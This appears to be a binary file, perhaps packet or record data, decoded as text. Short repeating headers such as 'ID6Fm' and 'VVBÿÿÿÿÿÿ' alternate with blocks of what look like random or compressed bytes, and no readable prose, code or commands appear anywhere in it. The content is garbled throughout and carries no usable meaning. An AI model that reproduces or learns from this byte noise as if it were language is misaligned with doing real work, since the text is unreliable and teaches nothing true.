T¡ LID6Fm2VVBÿÿÿÿÿÿ¿2) T¡ L`x„ºØ‹‡”úºïËó¿Òã“ ‘±^ßïPË×QªaŠÔQ=ºŸ‹Çø3úÄk|ÌBöMID6Fm: Ô T¡ LID6Fm<VVBÿÿÿÿÿÿ¿2) T¡ LpxrJSç¦~ç‹­fÒ½ºIÑ|ëázÞTÍoÅ xýžàœÈsk¬ÎßF•ÈÍUÏýŒ®5X,bÙôfÙID6FmF Ô T¡ LID6FmHVVBÿÿÿÿÿÿ¿2) T¡ L€x64WÝÂEæ ðU)Iƒ°ú¼Ñ&"¢0Å÷y"\úâ{)r¿} „òÌ{J®ò°Ø_[eA,Š[Åi2n£ID6FlR Ô T¡ LID6FmTVVBÿÿÿÿÿÿ¿2) T¡ LxŠ$ëüû²r¯a\OçG#Å.DÅ‚i=œ0ö´Kã,½ñ4Š. Æød×u ¡Ò‡9t3—ûgÄ”YL ID6Fk^ Ô T¡ LID6Fn^VVBÿÿÿÿÿÿ¿2) T¡ L xÑp,ñFÞwõ™„Þ³´–ûý¬3¸P vö Q®ì’)³RˆÚ´»¿om/À,÷!Ã&«œÄ¦ÙJ,¾$ID6Flh Ô T¡ LID6FmjVVBÿÿÿÿÿÿ¿2) T¡ L°xâ¼ó ŽvNJpêÒ½2ðÓ%ã%åd܉Ÿj;ãƒY՗Ʀ×Ïq‰=>^o;HÅB$à)´_§ X¾Ä|ðID6Flt Ô T¡ LID6FmvVVBÿÿÿÿÿÿ¿2) T¡ LÀx¨`¦ÿjEdCˆÂñ^Õç„y{æð©÷eA³ÊÝXÚ'_'[x™ó¯`ÿ/Üç%™N¶Š»îßSvID6Fl‚ Ô T¡ LID6Fm‚VVBÿÿÿÿÿÿ¿2) T¡ LÐxÓ<ý›1I¡—g_¶&:ÄíÚÂÛëv¼÷”¨>íðÄcP(²ùÓ0UW¿ᬬ$¢ Íf (­ß×TID6FlŒ Ô T¡ LID6FnŒVVBÿÿÿÿÿÿ¿2) T¡ Làx‘4jJ§…ò•ã*V®›ãÖ;'Û\ßž»PΜÑä†;{Œ/„ŽI@`ojL·‚ÓÓBøÛq/À³l\ID6Fm– Ô T¡ LID6Fn˜VVBÿÿÿÿÿÿ¿2) T¡ Lðx‰ÔÀXÀ¡ÿ™°9Ú™†U£Rœxf§ Âèç–9V4¹ E¸‚þbfZî¸æ£Ç…©‹nÙçID6Fl¢ Ô T¡ LID6Fm¤VVBÿÿÿÿÿÿ¿2) T¡ Lyb~#tÝ|ºðÞÏ,¯ƒ­åxâï¤Ýä§oøgüQŸÕ„õîo`ƒ’Çú'V+ý+øõ½sŸVX v2¢oID6Fm® Ô T¡ LID6Fm°VVBÿÿÿÿÿÿ¿2) T¡ Ly4¼9´Ì¤\—³²   ³ëzSÒw‹zÌüÛhhUÚëç|l¼7mÂà3 ’ Ú€0«üO8Ì¢¦‰7÷¦ðÇID6Fmº Ô T¡ LID6FmºVVBÿÿÿÿÿÿ¿2) T¡ L y” “íhö#mÎÆ…ò,ïÕšÄ@:÷ß-Û³N¹Ê g•7„Ìc4Ûm¨\ÄER_;‘ÇdΞ*³ID6FlÄ Ô T¡ LID6FnÆVVBÿÿÿÿÿÿ¿2) T¡ L0yuFŠ©=k¦35ÚwGÆÕ%ïŠåôÕÍm9örYz¼kb3ß³>|¬îÂľ“ðeOßðÞÖ½ç—îID6FlÐ Ô T¡ LID6FmÒVVBÿÿÿÿÿÿ¿2) T¡ L@yÔš#¡@Óé†bÿ .‡éï©k•£Ofq”ÍÄ'cMV‡.ÙÍâ™}¦™™0ãÊŒXM»YoPíÝ\&QºvID6FmÞ Ô T¡ LID6FmÞVVBÿÿÿÿÿÿ¿2) T¡ LPyUÆýÓl›@Ç‹§ØJ˜ªæ:»ÖèY™´aPüùhÚdeH9ŒJÞ‡mÊ+k‚ê)Ú™y…‚a×þm"‰^4ÚID6Fmæ Ô T¡ LID6FmèVVBÿÿÿÿÿÿ¿2) T¡ L`yöžÝÒ4Q´µaäQŠ«þ'.k$ ÔiUI]] N¨ü²Q6™Äˬ t¸=Fc¾~f'ŠsÆ.EÈX9U@ID6Flþ Ô T¡ LID6FmVVBÿÿÿÿÿÿ¿2) T¡ L€y:jm†ö„–×I4âÓ¹âÌ…% }ü­l“ÛŽì'3æÐ„ð¿¯BŠ‚¡°`‰"Ep)]Ÿ¥kYòÁID6Fl6 Ô T¡ LID6Fn8VVBÿÿÿÿÿÿ¿2) T¡ LÐy3r™–?Fíc·NáO:þj3`|û¥ÅŒ&z1\ß/¹˜³i ЧÚoœ5sø•µs‰‘ãv³ª2G|lJD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ LàyRò­ßxê/Ð="¥.Y{Èy[=Ô×&;çO5Ńâ¸y^¨ lá°míäz44›XäÙûQ¸¿6:Å+JD6Fl Ô T¡ LJD6FnVVBÿÿÿÿÿÿ¿2) T¡ LðyE¥ÙRLc'XÔ9‘ŸÞ‹>pttpWìÄ›{Þx ¾éü%ï« =-ïø]Êê»ÿwàpKSx2o¦JD6Fm Ô T¡ LJD6FnVVBÿÿÿÿÿÿ¿2) T¡ LzÄNíG"Ÿº­Ø,C{àõÒ 'é«oeÖlå °8˜Ôa%Yþ€¬T)Ö¤ª9ΔDžgºcûÙ‰JD6Fl" Ô T¡ LJD6Fm$VVBÿÿÿÿÿÿ¿2) T¡ Lz÷ÂþôF¶·Ö´QTO³ÁÒ á;¹¨©¦OT˜•lõOÙ-`só\ü5Øìiµ!á´èŒx­L…\hò\éJD6Fm. Ô T¡ LJD6Fm0VVBÿÿÿÿÿÿ¿2) T¡ L z3VÔv:fäWŸªc-ÐV8…¹æ«&ÍÍÔqÛºW¦áçÃØÝ GØ#©¯êÉLÃSä¶Ào£•ÕJD6Fl: Ô T¡ LJD6Fm<VVBÿÿÿÿÿÿ¿2) T¡ L0z«<°^,u~ýž˜W™þ¸TÆ0ºû ±¦a‹+HxyÕ]¢£-VÆÆ!Ó=£0,Ô¥«jï©¥JD6FmD Ô T¡ LJD6FmFVVBÿÿÿÿÿÿ¿2) T¡ LPzŠ,¶·ìê@13 ˜ Ñóé4g¿Ÿ½rÚmAЧ…DlÙÞ˜XªÝ:×ÄÕÍ}—¡Îê¢÷†I1ýµÈðJD6FkP Ô T¡ LJD6FmRVVBÿÿÿÿÿÿ¿2) T¡ L`z²q X`’æt®ëQ €i”¼G"»e^©{´á”YìË©b)F/S?™þØy²²Ñ-mÄí¤Å"·rJD6Fl\ Ô T¡ LJD6Fm^VVBÿÿÿÿÿÿ¿2) T¡ Lpz|‚vE³©Ä^|'ýP)-Q]vN .,¿•+ëÙg‹L?ÉÿÕÎÁP8gS«zP«Sq‚R;}­KJD6Fmf Ô T¡ LJD6FmhVVBÿÿÿÿÿÿ¿2) T¡ L€zÕ$_8r±â/»*æ@Úe¨(Ÿ˜Ù^énpofA$„¢­d| ¸PÙ.† 5ËàC.#s™÷O‚‰³•m875JD6Flr Ô T¡ LJD6FmtVVBÿÿÿÿÿÿ¿2) T¡ Lzc†Ðiû€¥Õ¾Ì×€ECÄ» "¼vûŸnÁ ÂWPÖõŽò¶×ŸÒ€=}ŸñŠÍôV;ê¼Á:°?7“JD6Fl~ Ô T¡ LJD6Fl€VVBÿÿÿÿÿÿ¿2) T¡ L zʼ&ù®·@o?aÅGÌBGöàã:¶)QNG_~'õí3ž ºÇ.Y¥¦Yñyð€¿òyØ™&oJD6FkŠ Ô T¡ LJD6FlŠVVBÿÿÿÿÿÿ¿2) T¡ L°zð1–>´ãĆþ] +iõNWgä‡`Çâ×fZ÷É·”‹ËñË,&¾ù¦ Ÿn¢w†C¹ý bta©ÀJD6Fl– Ô T¡ LJD6FmšVVBÿÿÿÿÿÿ¿2) T¡ LÀz¶îò¬åx^uõ{ÞIÔÓuÛª5µZü;ʉ §18!döâ’ÿ8ºöïú-‡ÃË%È5E—>s¹JD6Fl  Ô T¡ LJD6Fm¢VVBÿÿÿÿÿÿ¿2) T¡ LÐz˜ta:§+ìZ¨Ø žu«ò·€d)æJw³×b¢’«p^Ô:'Ü>¿Eßtè|Øö¸^à¡YÔçJkêñÿcJD6Fl¬ Ô T¡ LJD6Fm®VVBÿÿÿÿÿÿ¿2) T¡ LàzOjw6jSF^Cu"åKâ?ë1#ëÒ4ü[Á*PðHÍRXOÉÔ¿”«$ÁJY˜ô¢Ùy–O¡c¤|JD6Fl¸ Ô T¡ LJD6Fm¸VVBÿÿÿÿÿÿ¿2) T¡ LðzèhÊŵ,ì£vȶýeGä–”øGh¿]›ìÚAéTo‘Ù¤'Q‹4´¿xòkûsÿò¹+ý‚0CŒ»:gJD6FmÂ Ô T¡ LJD6FmÄVVBÿÿÿÿÿÿ¿2) T¡ L{6ªÂ~ xsWJ×à€a:M]è,õ ä34B™û ‰~óäX¡  ôœXˆ‚ùiÇ+™%ÐG$· ÄJD6FkÎ Ô T¡ LJD6FmÐVVBÿÿÿÿÿÿ¿2) T¡ L{‹”ÿá„èFµoZ£\ß§É‚½CÕ^5¿`ÿÖEfO^>Õšï< Ƶw¶5¾î¾ÝpTš/eìô_P÷JD6FlÚ Ô T¡ LJD6FmÜVVBÿÿÿÿÿÿ¿2) T¡ L {ü²”§sAbªºvc¸fúf° ÚrZãK¬xuÉ®ÊA¢¡Úó&ïk‹Ë»£ mÔad½zttJD6Fmä Ô T¡ LJD6FnæVVBÿÿÿÿÿÿ¿2) T¡ L0{„|x„}~âý¾o]9Ãé5aQ¥˜*4‰¾UÉïYg Vwˆó^sp–øŽ™÷r|w'€…G¼ JD6Flð Ô T¡ LJD6FmòVVBÿÿÿÿÿÿ¿2) T¡ L@{-v¯rsθB15Óˆ÷löñ©‹¹ôí 3DQþ øRda‡—×Ä)ËçÞ²¥·ÍÿàP>­—›üQ  ÀeJD6Fmü Ô T¡ LJD6FmþVVBÿÿÿÿÿÿ¿2) T¡ LP{4hR™ÙæjF@³Ä³É„¾±G¦ùˆ¼å£umì¹ â´ý¬XD‚;þ¨¡ê]¨"3my¿4ž½3JD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ L`{‡è0ÌÛ¯#ÕaÒòT“R deÁ l Ú—Óó5žÍ`¾¬ÕÂlAj›úŸ–|‚i޼ß8s{‚Æ»úŠÊ»>"JD6Fm Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ Lp{¤>ßE¬Bz:ÎË®– tÀ6oÜ•åèS’“P5~‘r a‡a@csvµ˜¥çÌYß½¢·îÒ¦`³rÎJD6Fk Ô T¡ LJD6Fm VVBÿÿÿÿÿÿ¿2) T¡ L€{„v^у”³•/Å~ѱò\Ÿ›y{š52Ë2»‚@AÕþ¡ÙÆ µê«l[&B4d} Ÿº*Uoœ3DJD6Fm* Ô T¡ LJD6Fm,VVBÿÿÿÿÿÿ¿2) T¡ L{“ÃÒ/ó}äb «?x‡ê…F£‹O«~ºkàš}¥˜qeB)ô¶ò Ép PtG-‘Õskº+ƒJD6Fl4 Ô T¡ LJD6Fm6VVBÿÿÿÿÿÿ¿2) T¡ L { ºhgðq8y±þì$š|ûŒñÑØ×çW+çÿhU‘b¶ãGb‘}ÞKô¯aÝIwyè"É ð½·L4cÃ.EþJD6Fm@ Ô T¡ LJD6FmBVVBÿÿÿÿÿÿ¿2) T¡ L°{ëŒ&®`8Äð‘4ª_­ ûĸ¡ÖLGâòÙ¬ÊüR†Oø¶gà°± øvhçXØ´±?5H{àcùÃJD6FkL Ô T¡ LJD6FmNVVBÿÿÿÿÿÿ¿2) T¡ LÀ{ï\LŸ­æö5¦Æä3^µÁ28M ße…k™Ë4¡Æ}Ò2Oºìó¶ßIµ™Èhà0l1^½æKJD6FlX Ô T¡ LJD6FnXVVBÿÿÿÿÿÿ¿2) T¡ LÐ{Ö‚ o°K?Z5Ò±åK¡Á%lµ;ª106jänR“M†SÒ¤ì"SîÃSms=lºY¿in ¬W°Ra/GJD6Fmb Ô T¡ LJD6FmdVVBÿÿÿÿÿÿ¿2) T¡ Là{äèÿÚ‰ÚíöLUÙŒs¦Àа‡¿åLjý”Oõ·äç㘡o«-J ¥?>­¸PxwŸ®Øq?Ï_U‚PJD6Fkn Ô T¡ LJD6FmpVVBÿÿÿÿÿÿ¿2) T¡ Lð{2¬þDZÖßìÈ2E$LMôÆï¯y¨OÓ¯,Ž)<¬ÒTÕÞù)Q(ÑQ+7˜¶nß3À+¦5-JD6Fmz Ô T¡ LJD6Fn|VVBÿÿÿÿÿÿ¿2) T¡ L|¦–­s®§[·ü^F¨ýžòqkÆ­ ?¹I7ÊÊŠÎL™­ÕŸ/PÏ’)Ç)`ZA*G±ê&(Ió7jIJD6Fl† Ô T¡ LJD6Fm†VVBÿÿÿÿÿÿ¿2) T¡ L|pü~~=?|ü+h2€ÏȸË5 ÚO «ÉD_ÌùiŽÛA W>»;bIÐÝf/W8 Å*q¸2¼V3K1JD6Fm Ô T¡ LJD6Fn’VVBÿÿÿÿÿÿ¿2) T¡ L |bÄ÷˜Ö‡TdæE’¼žkþòwãd¹~ öÒ5û¨:Í*&zY%‘ékF肠מáÑ„ÌeUJD6Fkœ Ô T¡ LJD6FmžVVBÿÿÿÿÿÿ¿2) T¡ L0|WŽ!ëæ)DÞÕâêhÑi¨ÈÌU­6Y·V¢bf ÛW X[CêcÃðù0D¢´`ýAÎ 1ü?/þ¥s JD6Fm¨ Ô T¡ LJD6FmªVVBÿÿÿÿÿÿ¿2) T¡ L@|“4¶ÀnÍí'ÓR5c`ò5)ÿæEI‘”®í+Ú[à´êäO²ÑÂð¿ÕÛF™ùÍ6†˜Xל‹ßJD6Fl² Ô T¡ LJD6Fn´VVBÿÿÿÿÿÿ¿2) T¡ LP|RVð]@´Ih¤áæ Z€»Á÷Äàæ±d@\"B <ïJ7^"{8z2ân÷ã(ôr êÅ?={®JD6Fm¾ Ô T¡ LJD6FmÀVVBÿÿÿÿÿÿ¿2) T¡ L`|>(ì&fŠæ(뉄¾"ˆ|¨^+ßþ®¨ÅëãÃ-{ ;oÀ=ŠN’Üñ¿u´zËñì›®qJîƒn·QJD6FlÊ Ô T¡ LJD6FmÌVVBÿÿÿÿÿÿ¿2) T¡ Lp|™ök™,6J÷»/áݤèàò^`YÀDGZÍ7{´ˆ÷ù¹k …YèÀ—~É´fx–˜º"JD6FlØ Ô T¡ LJD6FmÚVVBÿÿÿÿÿÿ¿2) T¡ L|¤JóUwšJ8D¢!³‚ª¤â¦,ü Ú°jcߣQ<…Ÿ|7g ‡ ‹n CQ äí‚ T å ðJD6Fmâ Ô T¡ LJD6FmäVVBÿÿÿÿÿÿ¿2) T¡ L |bÞ&8_<gb–¡]0¥£Ýþˆµï¢k Q*N(§¦bý Ë]<žà8ÿÉ–ƒ Q[zM®«œË¡µç\JD6Flì Ô T¡ LJD6FnîVVBÿÿÿÿÿÿ¿2) T¡ L°|\\ƒ>°¬Í×/-LC´}†·j{?Ó<­~þXÝ«I"ÈHŠ]!7 l‡Û‘[e…odÏ”Xj¾¼)|SOJD6Fmø Ô T¡ LJD6FmúVVBÿÿÿÿÿÿ¿2) T¡ LÀ|Ÿ®Ö ï66YTé|fm2enW_ž5ýà_„è´Áºðž#ßX—›>±a³•~`˱=0Øw²ò§JD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ LÐ|¦"Ž7ùøÒÜÿøfoIáÿ66I¢OK®%úžŠñgØäxOËYÇ@Žm¡Ç`W-C,gÒ#/.„JD6Fm Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ Là|Èê\õˆN«[•!¨pö¸`íÚ´•Ž„Þ3t(Ëz ª2C“ PùáÖ–gmÖ³„ØZìJRU5 ¦JD6Fk Ô T¡ LJD6FnVVBÿÿÿÿÿÿ¿2) T¡ Lð|…¦9;TY‡ë”WY–ô>ƒsf¶ßÈcšy‡µ#¥iêabÛìXÛ?—%#ƒHz4!U*î f1JD6Fm& Ô T¡ LJD6Fm&VVBÿÿÿÿÿÿ¿2) T¡ L}šÂg’-DšÔ<´5Héó,¦X‰B@<\™Z'ëÃ&~µ®øz Øé¼¡\*´?~¥ø:¿‹Ür~šb˜×TB÷JD6Fl0 Ô T¡ LJD6Fm2VVBÿÿÿÿÿÿ¿2) T¡ L},ÐŽ-° Iôµ-¬/UzI¯³9Ïm*ŒÏ´P¨©ïÍ*ÅþÞD~þõÊÿ¸)v™YŠ­¬œ“øJD6Fk< Ô T¡ LJD6Fm>VVBÿÿÿÿÿÿ¿2) T¡ L }‘2*´žžUvÓüÎcKæTÛ WFªšÕ#@n¶¯ ¹Ïugf¦·ý¢ôÁ¿±‹X¥DP`ÖåxÌ HèJD6FmH Ô T¡ LJD6FnJVVBÿÿÿÿÿÿ¿2) T¡ L0}ó¾ÇÂEàtch‚Á­æOSý™ÑALI2ûYZßäAó3©Ã3í¸©¯}V ЀR–Þmø&JD6FmT Ô T¡ LJD6FmTVVBÿÿÿÿÿÿ¿2) T¡ L@}¼Ähju PøbïTò¿êÓ¬W÷Öõ*] i4YFmòÁ—˜´†‚íìi<ùøfe=v«Ü¢¤Ö\‰¡JD6Fl^ Ô T¡ LJD6Fm`VVBÿÿÿÿÿÿ¿2) T¡ LP}8 ÓË:›¸Q˜ NÌÝ”:Æöîø;XSÞÛÅf˜”n¯ fqmNØ/Å·Š¯Ê’dn­—+èæ.ñëÈJD6Fmj Ô T¡ LJD6FmlVVBÿÿÿÿÿÿ¿2) T¡ L`}ËöIéóµ@<žü¿Ä næŠþsBz!Sd¼{~¬™"“yÖG€Ë–2¯èDéN€¦åM“qïý UJD6Flv Ô T¡ LJD6FmxVVBÿÿÿÿÿÿ¿2) T¡ Lp}Ž/wP»>g~TÔ£ZH+R´§×ñú¨5OÕfb wkã&ãÖ9`[ASU‹e¶…jšËÒ°ª²Ä(Ñù£U4JD6Fm€ Ô T¡ LJD6Fm‚VVBÿÿÿÿÿÿ¿2) T¡ L€}¡ uZœlŸÌÏÙE$A¤käªç)æ rÚlÁôKÝEd‹Iº>-¼…A©*a¢*ð† ÿgXèþi9Ÿ­ jJD6FlŒ Ô T¡ LJD6FnŽVVBÿÿÿÿÿÿ¿2) T¡ L}p>Ç- »@™5’侇ÆMY袪ËT&§§±ù0a 󯫡ì{}Ë(^$Vå°EIW›8j¥jJD6Fl˜ Ô T¡ LJD6FmšVVBÿÿÿÿÿÿ¿2) T¡ L }X S\dëan¦¢bjc@۠π‡>­ç#ÿô^ øC²¢!"A¡€ Râe0IÑðÄã9‰š]V~+JD6Fm¤ Ô T¡ LJD6Fm¤VVBÿÿÿÿÿÿ¿2) T¡ L°}>ŒÚ0òCoD¦eŽ=•wÌ—¸ºv;‹Ã Û (ò "¢¥ÌÑ4pï|O)'U$WÔýÓrÊ)JD6Fl® Ô T¡ LJD6Fm°VVBÿÿÿÿÿÿ¿2) T¡ LÀ},h'“{Ýo­®¦`¬ÐÿÈ·˜\bA¬å +-*ÿEj“ÈÞ‹×{Ó­b­Xc[Ë](qÃ\¯ÿ,çÿUÊ_tá[JD6Fmº Ô T¡ LJD6Fm¼VVBÿÿÿÿÿÿ¿2) T¡ LÐ}ÀVÌ0Â"1ãª! £¼¹kt;àNpÁáØn%lŸd˜í ¡’¦òDé÷–äå Á¥Ñqœã9çXq×Û¹rJD6FmÆ Ô T¡ LJD6FmÈVVBÿÿÿÿÿÿ¿2) T¡ Là}H8¾¤õ–WöfÌê*ðH3E©¯3’2~û¥¬„ºæUª}“{þ ¡ý°u»wɚŽ6>Íz¡+JD6FlÐ Ô T¡ LJD6FnÒVVBÿÿÿÿÿÿ¿2) T¡ Lð}[ìmô®uIù’JB+¬M£Ô´d6ÈÜ 0z+ÚLYüdSú!+ú4VìµB‚ZŸ¤õÓü‘ŠdÙa[ìs×dqJD6FlÜ Ô T¡ LJD6FmÞVVBÿÿÿÿÿÿ¿2) T¡ L~нþ RQî„—+@ʯú»&Æ \ût0:~ž )jŠ{ƒ6äײ"SÆTy `AVèuÍáDJD6Flè Ô T¡ LJD6FmêVVBÿÿÿÿÿÿ¿2) T¡ L~ºÞ ÂÁœY•³¶²æ ãå>mÑ©£ uJ D{®©­Ü]1Ê;Õ€a9Ve× §#w­ú0^ ;JD6Flô Ô T¡ LJD6FmôVVBÿÿÿÿÿÿ¿2) T¡ L ~òCýhjd¿®•cOß—`ÒWR¥³?…wòçݾ«L—WP¯÷( l56TZ”én™²HÇ1×~JD6Flþ Ô T¡ LJD6FnVVBÿÿÿÿÿÿ¿2) T¡ L0~N€ù‹¦o—b^Ãògm«C@¯)›? D ›qŽ¡$@ÃuÎmRÚ8%`td™ÕŒÛOf÷õ¨qm°FJD6Fk  Ô T¡ LJD6Fn VVBÿÿÿÿÿÿ¿2) T¡ L@~=†‹Û;*ó!ˆc¹o²¤áØB§y~qäâÄ ñ-õ öÇ—s_å%s#î Þâ± Ow*ï ÁeÜäTG »JD6Fk Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ LP~¾tE*7•–ãžMÅÃKÌ ÂJ(Tû$èڪ̈́Bð?¦"eE\mA•&UõdÒ{ï—®ËÕ/šsOm¡‚JD6Fl" Ô T¡ LJD6Fm"VVBÿÿÿÿÿÿ¿2) T¡ L`~‚ªÄðºZ9ßï!i5¼GGËÍ87Yþ¶“¹ž]K4šß ˆ3ÇÓE¹«#N$؈,vî“®¸Þ«YJD6Fm, Ô T¡ LJD6Fm.VVBÿÿÿÿÿÿ¿2) T¡ Lp~Hã:8®B¢fMbbCM‰ŸRð•ôËÏÑûGŽÅ»©\tKÌTŽ4b+½9“ü4“Œz} äõRÅJD6Fl8 Ô T¡ LJD6Fm:VVBÿÿÿÿÿÿ¿2) T¡ L€~öBm’xRy梨e2ízOÁb”+TXJW—u`^dïiQèjdDš ¤Í½žÁ{x½EÙß÷‹ gÄ"JD6FmD Ô T¡ LJD6FmFVVBÿÿÿÿÿÿ¿2) T¡ L~ö|Ü­²ÿYxuÆ_~bÀÙ#+õÅM®œ<èÑÑ­˜½6蕹ò3ñ ÒRÀgžOÀÞ×tùTñácŒ3"JD6FmN Ô T¡ LJD6FnPVVBÿÿÿÿÿÿ¿2) T¡ L ~¨Ðü;…Ž>b8ªë!Ëô r^]ïAÉ ÞûÞíB×M_LÇ t®þ1Ëpÿ¦#Àã`K56¨;B³AQîCJD6FlZ Ô T¡ LJD6Fm\VVBÿÿÿÿÿÿ¿2) T¡ L°~}Ø·‹äyàÉ×ä‚w–̘†§–#ŒL– ¹X¡(ø?Ö³â¡0ÛvKêRǵ†›‚^µ{;ßè‰æZ}JD6Flf Ô T¡ LJD6FmhVVBÿÿÿÿÿÿ¿2) T¡ LÐ~ÊjÜ eq3#ø‚«ŸÓG^@h|Æã ™EeÂ5žtõ¿9×EWÊ£ Ï’½Ó;O¨s%Ëg'ÎJD6Flr Ô T¡ LJD6FmrVVBÿÿÿÿÿÿ¿2) T¡ Là~uVÓ›Ä9FEöÿã>Ð6VËT«Òtáæ™.3‰e覞þFe")¬Å{ÖŒÛB´ñ˜±¯ÅJD6Fl| Ô T¡ LJD6Fn~VVBÿÿÿÿÿÿ¿2) T¡ Lð~6 ðÒ˜*-™¥D9]JüJ–ÑyÚžƒ’üÔÙMº$¡t8?¾yì(–t~º©*¨‹BNsîU‘ÁJD6Flˆ Ô T¡ LJD6FmŠVVBÿÿÿÿÿÿ¿2) T¡ L–OZEDל—Z¡ I=9ôgÖÜ÷¡óÉ©E—Ú¡±àáÍîisÝKÑ3©u ˜Y,N¸ð€1ÚjW5 JD6Fm” Ô T¡ LJD6Fm–VVBÿÿÿÿÿÿ¿2) T¡ Lonß#…¥Æ¯§ã•ªoÁbZÄÚœÆdGŸ]Rí+)„´‰dâ|è\^°­Xœ¶â]&“,3> »åóJD6Flž Ô T¡ LJD6Fm VVBÿÿÿÿÿÿ¿2) T¡ L îò>‘Q©=ùˆÖÇtT-¤Ýs QÙü~8v¨?üÁÛ•º1IjWíD#ѧ#P¦Û©ãŠnd†ÂYæJD6Flª Ô T¡ LJD6Fm¬VVBÿÿÿÿÿÿ¿2) T¡ L0î¼½%uòD€‹Ÿ¼O°ÁsÏjtæS§qšN»¢ü¶©ä±*ÅB™Û&‰D£Cr6ö'ã#6±†B>`/0JD6Fl¶ Ô T¡ LJD6Fm¸VVBÿÿÿÿÿÿ¿2) T¡ L@*"Ý(Нrú¾AƒÙM°ÒÚŸO¨^Šñ9¾ó´û;`×]< ðŽ«´=Ê~LrVÌ=Kx²É‰xol‹±³JD6FlÂ Ô T¡ LJD6FmÂVVBÿÿÿÿÿÿ¿2) T¡ LPÎ¥ðÜà/6$·;ëç›m{C3ýC¥UÈ›/b"Sgµ×¹¿-ίµ,Ü×Îh®wpÛÛëÃU²†QJD6FlÌ Ô T¡ LJD6FmÎVVBÿÿÿÿÿÿ¿2) T¡ L`ÚòQ(y)Í·çŠxz>´éÓ7€[{¡>öl×§ûŠûÝÏüœöè1·yGy2LyW–±"4Uãù¿Œº'JD6FmØ Ô T¡ LJD6FmÚVVBÿÿÿÿÿÿ¿2) T¡ LpðUZQâ ÷tDÐZ¥œ.XT‹à±Ûž{eÀ}?jìXƒèõá¼ÿ\S`) Í/ƒo‡ÅÏóRçåJD6Flä Ô T¡ LJD6FmæVVBÿÿÿÿÿÿ¿2) T¡ L€°´®M1?ùÜ€jø,Ä@mkû‰„Š„é „!ã™c^"ð–çØð‰}íElW¤»óÚƒôÁi´àÌžJD6Flî Ô T¡ LJD6FnðVVBÿÿÿÿÿÿ¿2) T¡ LÇ@ ^–½+°O’5Ø')‰È¸ŠÀÁ–|PWãö¯U¸s5ö'ÖZd°Àú.ä¸àüü$™Ûߤý˺[JD6Flú Ô T¡ LJD6FmüVVBÿÿÿÿÿÿ¿2) T¡ L b,‡å’;E<¡”ÄFµäŽóÂ%„v*=nœý÷(4ƒßÌ[+Zíy»¥¹ãJZyþ!B¯ÍjPPJD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ L°`,b¹ƒŒ låZ•ÔBaé5Ž#‰…g^ÑiŸÎèʯ DëlñßÌF=éµtu[²ïQ+²W€ÓØ JD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ LÀº_ \0$Å­h¶¶è¨?ÖÚëvóápþ‰Wdéœô5åQüW2ºƒx8UÇd¡äÝ5ÜÜ6 þú–®y£JD6Fm Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ LÐâøÁ,¨…ôðn %N @ê•§ ƒ"‹PónåØüÞ)x÷q–\€¨™Üø 1°%“Eú˜_Ͱ̓ËÖ}!JD6Fl( Ô T¡ LJD6Fn*VVBÿÿÿÿÿÿ¿2) T¡ LàŒàè*W,tÖ²ðK@'?¬º‘mZ'Yî€WÆ!Å{—ÑÔûÌ>ÙæMk‡ñ.‰ò|ÄdÚ™lK¹K;oJD6Fl4 Ô T¡ LJD6Fm6VVBÿÿÿÿÿÿ¿2) T¡ Lð@ôÿæk ŠAJ¥òïí!Š@°.™¬'¿­ñ+YÍ”=/gbU’wç‚âöi;nŸ9T~Îøø‚ufͱ“JD6Fm@ Ô T¡ LJD6Fm@VVBÿÿÿÿÿÿ¿2) T¡ L€¦e~†_ê‚H`˜+€Lº‰6åhb]Q¹qæ‚ÞJ~…ë÷d«•·™˜Åj C›îª3E.ôâEPFJD6FlJ Ô T¡ LJD6FmNVVBÿÿÿÿÿÿ¿2) T¡ L€ ÃÒÎÀ™Ny8æú'n)–ݳ‹Êõ¿Õ’DÄf3n5Çбá`íkÎϵÍç·x¡ ‰0ãÆ\mŒJD6FmV Ô T¡ LJD6FmXVVBÿÿÿÿÿÿ¿2) T¡ L €šxV̽c0ÝÁúòåŽ1tÌéý„,Î5™BîUðæ}Í>I”ïá7;7$²Ìr¸ë>… æq¸8Z£«w©3JD6Fmb Ô T¡ LJD6FndVVBÿÿÿÿÿÿ¿2) T¡ L0€%ŠrbfK-¼!î }Îφò'a••܉%’|>I„`Ü@W8UaôÃ"š¯\8êðÌÅ$¸Ë”vJD6Fkl Ô T¡ LJD6FmnVVBÿÿÿÿÿÿ¿2) T¡ L@€§ö¥€b ©ñÂÓZ©T¹É‘Ôs-Z_¼þÀ’Šo(q ¦¶}ug•¨%ÖcŠMQal¹WUy¯ý©øJD6Flx Ô T¡ LJD6FnzVVBÿÿÿÿÿÿ¿2) T¡ LP€Z°¶Ô9(ZnÙ> _T+´°#°‹`Ý`&@‡Û~«Å"æ,Æê$Wnø¸É·oö}¬;B—)õG¹š62—JD6Fl„ Ô T¡ LJD6Fn†VVBÿÿÿÿÿÿ¿2) T¡ L`€C®.@h¥éa,Æô?Eüâ m$È–Ö‰´aöåHKÙWÜpÒœþ3-ua¥¦ˆVEA}å-%ØÆg䇻JD6Fl Ô T¡ LJD6FmVVBÿÿÿÿÿÿ¿2) T¡ Lp€œzX’FÄ0ùð«° £çÙ÷£aÕêQM=G×N›L©(½)µ Õð¯ÊW;ÔUý?kÖ–«ä‡Y#JD6Fmš Ô T¡ LJD6FmœVVBÿÿÿÿÿÿ¿2) T¡ L€€/¼jHؽzœƒ¾8³â¸¥*Ë lHipøËãÄð³ßp¿®QÁÛñJËàA¹äùW!¹ÛP•Ø©×}JD6Fl¦ Ô T¡ LJD6Fm¨VVBÿÿÿÿÿÿ¿2) T¡ L€¡ú´°^!ö¸`É{|_©±p6Ÿ•†Q*);4§ †AøŒÙNé·a¼2Ä0‚ÙLˆ¿ÊML{zJD6Fm² Ô T¡ LJD6Fm´VVBÿÿÿÿÿÿ¿2) T¡ L €BÒÄ[EfîUYÐ7¢kLгý9Ós}¼™Jeö!숓N´ž ¿ÅGùLkÑšÏ`<Ë|?è 3pÁJD6Fl¼ 